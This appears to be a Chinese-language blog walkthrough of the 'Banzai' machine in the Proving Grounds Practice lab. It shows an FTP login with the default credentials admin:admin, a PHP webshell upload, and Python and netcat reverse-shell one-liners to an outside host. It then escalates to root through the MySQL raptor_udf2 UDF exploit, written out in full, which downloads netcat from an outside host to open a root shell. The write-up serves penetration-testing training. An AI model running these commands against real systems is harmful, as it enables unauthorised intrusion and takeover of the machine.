Proving Grounds Practice : Banzai Walkthrough

 Proving Grounds Practice : Banzai Walkthrough


Foothole (立足點 ) :

  • ftp 常用帳號密碼測試 admin:admin 可以登入與寫入檔案
  • ftp 根目錄與網站 8295 Port 根目錄依樣
  • 上傳 PHP reverse shell 執行後拿到 Reverse Shell

PE ( 提權 ) :

  • 發現 MySQL 是 Root 權限執行且可以直接讀到 proof.txt 檔案所以直接利用
  • 參考 Exploit-DB1518 使用 UDF 方式提權
  • 步驟依據 PoC 內容一一操作即可實現

注意事項 :

  • 學習 MySQL UDF 提權利用


Rustscan,└─$ rustscan -a 192.168.192.56 --scripts none --ulimit 5000 | tee rustscan



snmp filtered,└─$ sudo nmap -sU -p 161 192.168.192.56 | tee snmp                    



nmap,└─$ sudo nmap -sCV -A -p 21,22,25,5432,8080,8295 192.168.192.56 | tee nmap

21/tcp   open  ftp        vsftpd 3.0.3

22/tcp   open  ssh        OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)

25/tcp   open  smtp       Postfix smtpd

5432/tcp open  postgresql PostgreSQL DB 9.6.4 - 9.6.6 or 9.6.13 - 9.6.19

8080/tcp open  http       Apache httpd 2.4.25

8295/tcp open  http       Apache httpd 2.4.25 ((Debian))



FTP 測試匿名 anonymous 與 ftp:ftp 登入失敗



PostgreSQL 連線測試失敗



8080 /



8080 /robots.txt



8295 /



8295 whatweb


gobuster 8080 沒有發現



8295 /

帳號 Walter.White、Sarah.Jhinson、William.Anderson、Amanda.Jepson

Hydra 測試 FTP、SSH 相關組合沒有發現



8295 /lib



8295 gobuster




到此暫時卡住,後來發現 FTP 測試 admin:admin 可以登入

筆記.....相當重要,過往 FTP 都只有測試 anonymous & ftp:ftp

未來要多做一組 admin:admin

登入後測試上傳 test.txt 可以成功,看來入口就是這個梗了



FTP 的根目錄就是 8295 Port 的網站根目錄



上傳最愛的 webshell.php



輸入最好用的 Python 建立 Reverse Shell 試試看,沒有成功建立連線

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.202",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'



改用 nc -e /bin/bash 192.168.45.202 4444 一樣失敗

因為這是 Linux 最簡單的是改一下 php-reverse-shell.php 然後直接使用



存取 http://192.168.192.56:8295/php-reverse-shell.php 一樣沒有拿到 shell

測試了一番後發現是有限制 Port,這一台有安裝 SMTP 服務表示要寄信出去

所以改用 25 Port 透過 Webshell 執行 nc -e /bin/bash 192.168.45.202 25 後成功連線



測試 21 Port 也可以正常連線,所以當無法建立 Reverse Shell 時可以先改一下靶機自己有的 Port




cat /etc/passwd
帳號 admin、banzai



看了一下 banzai HOME index.php 感覺有 WordPress



在 /var/www 底下的 config.php 發現連線 DB 的設定檔,當中還有帳號密碼
root:EscalateRaftHubris123



發現只有跑在本機的 MySQL 服務,先搭建 chisel 回 kali 看一下 MySQL 相關權限




另外有查到 MySQL 是用 root 執行的



8080 Port 看來也是通的,透過 8080 Port 搭建 chisel 3306 Port 到 Kali



利用拿到的帳號密碼登入 MySQL 測試看看,看來成功登入



直接讀讀看 /root/proof.txt 看看有無權限

select load_file('/root/proof.txt');

讀到該檔案了,看來就朝向這個方向下手了




在 Windows 中發現 MySQL 有大權限時,通常會用 MySQL 做 Reverse Shell 切換使用者看看

但這裡我們已經是 www-data 使用者,用的也是網頁建立的 webshell 所以不用嘗試

再來就是透過 MySQL 去複寫 C:\ 特定路徑下面的 dll 檔案,然後執行特定方式去提權

現在這個是在 Linux 底下,所以改參考這一篇 https://www.exploit-db.com/exploits/1518



相關 usage 如下

========================================================================
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf2.c
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
 * mysql> create function do_system returns integer soname 'raptor_udf2.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+----------------+----------+
 * | name      | ret | dl             | type     |
 * +-----------+-----+----------------+----------+
 * | do_system |   2 | raptor_udf2.so | function |
 * +-----------+-----+----------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> \! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * [...]
 *
 * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
 *
 */
========================================================================


整個步驟在這一篇講的相當清楚 : https://steflan-security.com/linux-privilege-escalation-exploiting-user-defined-functions/

在指令的用法與 Exploit-DB 有一點點不一樣,但一樣是用 1518.c 去改的




先將 1518.c 上傳到靶機 /var/www 路徑,接著執行

└─$ gcc -g -c raptor_udf2.c

└─$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

接著透過 MySQL 執行下列指令,查找 UDFs 將會存放在哪

use mysql;
show variables like 'plugin_dir';
確認路徑是 /usr/lib/mysql/plugin/



SHOW VARIABLES LIKE "secure_file_priv";
確定資料庫是否配置錯誤,導致檔案處理不安全。



依據 PoC 內容一一執行

create table foo(line blob);
insert into foo values(load_file('/var/www/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;



現在可以透過 do_system 與 UDF 檔案並以 root 方式執行我們要的任意程式碼了

例如先執行 id 並寫到一個檔案,然後給予現有使用者權限試試看

select do_system('id > /var/www/out; chown www-data.www-data /var/www/out');



看來沒有問題,且權限是管理者 root



接著下載 nc

select do_system('wget http://192.168.45.242:5432/tools/nc -O /var/www/nc');




修改 nc 權限,select do_system('chmod 777 /var/www/nc');




執行 nc 建立 Reverse Shell

select do_system('/var/www/nc 192.168.45.242 8295 -e /bin/bash');



8295 Listener Reverse shell 進來了,whoami & id 確認是管理者




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)